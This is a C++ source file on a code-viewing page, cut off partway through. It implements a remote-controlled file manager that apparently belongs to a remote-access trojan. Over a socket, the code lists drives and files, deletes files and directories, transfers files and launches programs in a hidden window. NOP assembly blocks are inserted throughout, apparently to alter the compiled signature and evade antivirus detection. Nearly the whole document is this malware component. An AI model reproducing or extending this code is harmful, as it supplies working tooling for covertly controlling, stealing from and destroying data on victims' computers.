📄 filemanager.cpp
字号:
// FileManager.cpp: implementation of the CFileManager class.
//
//////////////////////////////////////////////////////////////////////
#include "FileManager.h"
typedef struct
{
DWORD dwSizeHigh;
DWORD dwSizeLow;
}FILESIZE;
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CFileManager::CFileManager(CClientSocket *pClient):CManager(pClient)
{__asm
{
nop
NOP
}
m_nTransferMode = TRANSFER_MODE_NORMAL;
// 发送驱动器列表, 开始进行文件管理,建立新线程
SendDriveList();
}
CFileManager::~CFileManager()
{
m_UploadList.clear();
}
void CFileManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{__asm
{
nop
NOP
}
switch (lpBuffer[0])
{
case COMMAND_LIST_FILES:// 获取文件列表
SendFilesList((char *)lpBuffer + 1);
break;
case COMMAND_DELETE_FILE:// 删除文件
DeleteFile((char *)lpBuffer + 1);
SendToken(TOKEN_DELETE_FINISH);
break;
case COMMAND_DELETE_DIRECTORY:// 删除文件
////printf("删除目录 %s\n", (char *)(bPacket + 1));
DeleteDirectory((char *)lpBuffer + 1);
SendToken(TOKEN_DELETE_FINISH);
break;
case COMMAND_DOWN_FILES: // 上传文件
UploadToRemote(lpBuffer + 1);
break;
case COMMAND_CONTINUE: // 上传文件
SendFileData(lpBuffer + 1);
break;
case COMMAND_CREATE_FOLDER:
CreateFolder(lpBuffer + 1);
break;
case COMMAND_RENAME_FILE:
Rename(lpBuffer + 1);
break;
case COMMAND_STOP:
StopTransfer();
break;
case COMMAND_SET_TRANSFER_MODE:
SetTransferMode(lpBuffer + 1);
break;
case COMMAND_FILE_SIZE:
CreateLocalRecvFile(lpBuffer + 1);
break;
case COMMAND_FILE_DATA:
WriteLocalRecvFile(lpBuffer + 1, nSize -1);
break;
case COMMAND_OPEN_FILE_SHOW:
OpenFile((char *)lpBuffer + 1, SW_SHOW);
break;
case COMMAND_OPEN_FILE_HIDE:
OpenFile((char *)lpBuffer + 1, SW_HIDE);
break;
default:
break;
}
}
bool CFileManager::MakeSureDirectoryPathExists(LPCTSTR pszDirPath)
{__asm
{
nop
NOP
}
LPTSTR p, pszDirCopy;
DWORD dwAttributes;
// Make a copy of the string for editing.
__try
{
pszDirCopy = (LPTSTR)malloc(sizeof(TCHAR) * (lstrlen(pszDirPath) + 1));
if(pszDirCopy == NULL)
return FALSE;
lstrcpy(pszDirCopy, pszDirPath);
p = pszDirCopy;
// If the second character in the path is "\", then this is a UNC
// path, and we should skip forward until we reach the 2nd \ in the path.
if((*p == TEXT('\\')) && (*(p+1) == TEXT('\\')))
{__asm
{
nop
NOP
}
p++; // Skip over the first \ in the name.
p++; // Skip over the second \ in the name.
// Skip until we hit the first "\" (\\Server\).
while(*p && *p != TEXT('\\'))
{
p = CharNext(p);
}
// Advance over it.
if(*p)
{__asm
{
nop
NOP
}
p++;
}
// Skip until we hit the second "\" (\\Server\Share\).
while(*p && *p != TEXT('\\'))
{
p = CharNext(p);
}
// Advance over it also.
if(*p)
{__asm
{
nop
NOP
}
p++;
}
}
else if(*(p+1) == TEXT(':')) // Not a UNC. See if it's <drive>:
{__asm
{
nop
NOP
}
p++;
p++;
// If it exists, skip over the root specifier
if(*p && (*p == TEXT('\\')))
{
p++;
}
}
while(*p)
{
if(*p == TEXT('\\'))
{__asm
{
nop
NOP
}
*p = TEXT('\0');
dwAttributes = GetFileAttributes(pszDirCopy);
// Nothing exists with this name. Try to make the directory name and error if unable to.
if(dwAttributes == 0xffffffff)
{
if(!CreateDirectory(pszDirCopy, NULL))
{
if(GetLastError() != ERROR_ALREADY_EXISTS)
{__asm
{
nop
NOP
}
free(pszDirCopy);
return FALSE;
}
}
}
else
{__asm
{
nop
NOP
}
if((dwAttributes & FILE_ATTRIBUTE_DIRECTORY) != FILE_ATTRIBUTE_DIRECTORY)
{__asm
{
nop
NOP
}
// Something exists with this name, but it's not a directory... Error
free(pszDirCopy);
return FALSE;
}
}
*p = TEXT('\\');
}
p = CharNext(p);
}
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
// SetLastError(GetExceptionCode());
free(pszDirCopy);
return FALSE;
}
free(pszDirCopy);
return TRUE;
}
bool CFileManager::OpenFile(LPCTSTR lpFile, INT nShowCmd)
{
char lpSubKey[500];
HKEY hKey;
char strTemp[MAX_PATH];
LONG nSize = sizeof(strTemp);
char *lpstrCat = NULL;
memset(strTemp, 0, sizeof(strTemp));
char *lpExt = strrchr(lpFile, '.');
if (!lpExt)
return false;
if (RegOpenKeyEx(HKEY_CLASSES_ROOT, lpExt, 0L, KEY_ALL_ACCESS, &hKey) != ERROR_SUCCESS)
return false;
RegQueryValue(hKey, NULL, strTemp, &nSize);
RegCloseKey(hKey);
memset(lpSubKey, 0, sizeof(lpSubKey));
wsprintf(lpSubKey, "%s\\SHELL\\OPEN\\COMMAND", strTemp);
if (RegOpenKeyEx(HKEY_CLASSES_ROOT, lpSubKey, 0L, KEY_ALL_ACCESS, &hKey) != ERROR_SUCCESS)
return false;
memset(strTemp, 0, sizeof(strTemp));
nSize = sizeof(strTemp);
RegQueryValue(hKey, NULL, strTemp, &nSize);
RegCloseKey(hKey);
lpstrCat = strstr(strTemp, "\"%1");
if (lpstrCat == NULL)
lpstrCat = strstr(strTemp, "%1");
if (lpstrCat == NULL)
{__asm
{
nop
NOP
}
lstrcat(strTemp, " ");
lstrcat(strTemp, lpFile);
}
else
lstrcpy(lpstrCat, lpFile);
STARTUPINFO si = {0};
PROCESS_INFORMATION pi;
si.cb = sizeof si;
if (nShowCmd != SW_HIDE)
si.lpDesktop = "WinSta0\\Default";
CreateProcess(NULL, strTemp, NULL, NULL, false, 0, NULL, NULL, &si, &pi);
}
UINT CFileManager::SendDriveList()
{__asm
{
nop
NOP
}
char DriveString[256];
// 前一个字节为令牌,后面的52字节为驱动器跟相关属性
BYTE DriveList[1024];
char FileSystem[MAX_PATH];
char *pDrive = NULL;
DriveList[0] = TOKEN_DRIVE_LIST; // 驱动器列表
GetLogicalDriveStrings(sizeof(DriveString), DriveString);
pDrive = DriveString;
unsigned __int64 HDAmount = 0;
unsigned __int64 HDFreeSpace = 0;
unsigned long AmntMB = 0; // 总大小
unsigned long FreeMB = 0; // 剩余空间
for (DWORD dwOffset = 1; *pDrive != '\0'; pDrive += lstrlen(pDrive) + 1)
{
memset(FileSystem, 0, sizeof(FileSystem));
// 得到文件系统信息及大小
GetVolumeInformation(pDrive, NULL, 0, NULL, NULL, NULL, FileSystem, MAX_PATH);
SHFILEINFO sfi;
SHGetFileInfo(pDrive, FILE_ATTRIBUTE_NORMAL, &sfi, sizeof(SHFILEINFO), SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES);
int nTypeNameLen = lstrlen(sfi.szTypeName) + 1;
int nFileSystemLen = lstrlen(FileSystem) + 1;
// 计算磁盘大小
if (pDrive[0] != 'A' && pDrive[0] != 'B' && GetDiskFreeSpaceEx(pDrive, (PULARGE_INTEGER)&HDFreeSpace, (PULARGE_INTEGER)&HDAmount, NULL))
{ __asm
{
nop
NOP
}
AmntMB = HDAmount / 1024 / 1024;
FreeMB = HDFreeSpace / 1024 / 1024;
}
else
{__asm
{
nop
NOP
}
AmntMB = 0;
FreeMB = 0;
}
// 开始赋值
DriveList[dwOffset] = pDrive[0];
DriveList[dwOffset + 1] = GetDriveType(pDrive);
// 磁盘空间描述占去了8字节
memcpy(DriveList + dwOffset + 2, &AmntMB, sizeof(unsigned long));
memcpy(DriveList + dwOffset + 6, &FreeMB, sizeof(unsigned long));
// 磁盘卷标名及磁盘类型
memcpy(DriveList + dwOffset + 10, sfi.szTypeName, nTypeNameLen);
memcpy(DriveList + dwOffset + 10 + nTypeNameLen, FileSystem, nFileSystemLen);
dwOffset += 10 + nTypeNameLen + nFileSystemLen;
}
return Send((LPBYTE)DriveList, dwOffset);
}
UINT CFileManager::SendFilesList(LPCTSTR lpszDirectory)
{__asm
{
nop
NOP
}
// 重置传输方式
m_nTransferMode = TRANSFER_MODE_NORMAL;
UINT nRet = 0;
char strPath[MAX_PATH];
char *pszFileName = NULL;
LPBYTE lpList = NULL;
HANDLE hFile;
DWORD dwOffset = 0; // 位移指针
int nLen = 0;
DWORD nBufferSize = 1024 * 10; // 先分配10K的缓冲区
WIN32_FIND_DATA FindFileData;
lpList = (BYTE *)LocalAlloc(LPTR, nBufferSize);
wsprintf(strPath, "%s\\*.*", lpszDirectory);
hFile = FindFirstFile(strPath, &FindFileData);
if (hFile == INVALID_HANDLE_VALUE)
{
BYTE bToken = TOKEN_FILE_LIST;
return Send(&bToken, 1);
}
*lpList = TOKEN_FILE_LIST;
// 1 为数据包头部所占字节,最后赋值
dwOffset = 1;
/*
文件属性 1
文件名 strlen(filename) + 1 ('\0')
文件大小 4
*/
do
{
// 动态扩展缓冲区
if (dwOffset > (nBufferSize - MAX_PATH * 2))
{
nBufferSize += MAX_PATH * 2;
lpList = (BYTE *)LocalReAlloc(lpList, nBufferSize, LMEM_ZEROINIT|LMEM_MOVEABLE);
}
pszFileName = FindFileData.cFileName;
if (strcmp(pszFileName, ".") == 0 || strcmp(pszFileName, "..") == 0)
continue;
// 文件属性 1 字节
*(lpList + dwOffset) = FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY;
dwOffset++;
// 文件名 lstrlen(pszFileName) + 1 字节
nLen = lstrlen(pszFileName);
memcpy(lpList + dwOffset, pszFileName, nLen);
dwOffset += nLen;
*(lpList + dwOffset) = 0;
dwOffset++;
// 文件大小 8 字节
memcpy(lpList + dwOffset, &FindFileData.nFileSizeHigh, sizeof(DWORD));
memcpy(lpList + dwOffset + 4, &FindFileData.nFileSizeLow, sizeof(DWORD));
dwOffset += 8;
// 最后访问时间 8 字节
memcpy(lpList + dwOffset, &FindFileData.ftLastWriteTime, sizeof(FILETIME));
dwOffset += 8;
} while(FindNextFile(hFile, &FindFileData));
nRet = Send(lpList, dwOffset);
LocalFree(lpList);
FindClose(hFile);
return nRet;
}
bool CFileManager::DeleteDirectory(LPCTSTR lpszDirectory)
{
WIN32_FIND_DATA wfd;
char lpszFilter[MAX_PATH];
wsprintf(lpszFilter, "%s\\*.*", lpszDirectory);
HANDLE hFind = FindFirstFile(lpszFilter, &wfd);
if (hFind == INVALID_HANDLE_VALUE) // 如果没有找到或查找失败
return FALSE;
do
{
if (wfd.cFileName[0] != '.')
{
if (wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
{
char strDirectory[MAX_PATH];
wsprintf(strDirectory, "%s\\%s", lpszDirectory, wfd.cFileName);
DeleteDirectory(strDirectory);
}
else
{__asm
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -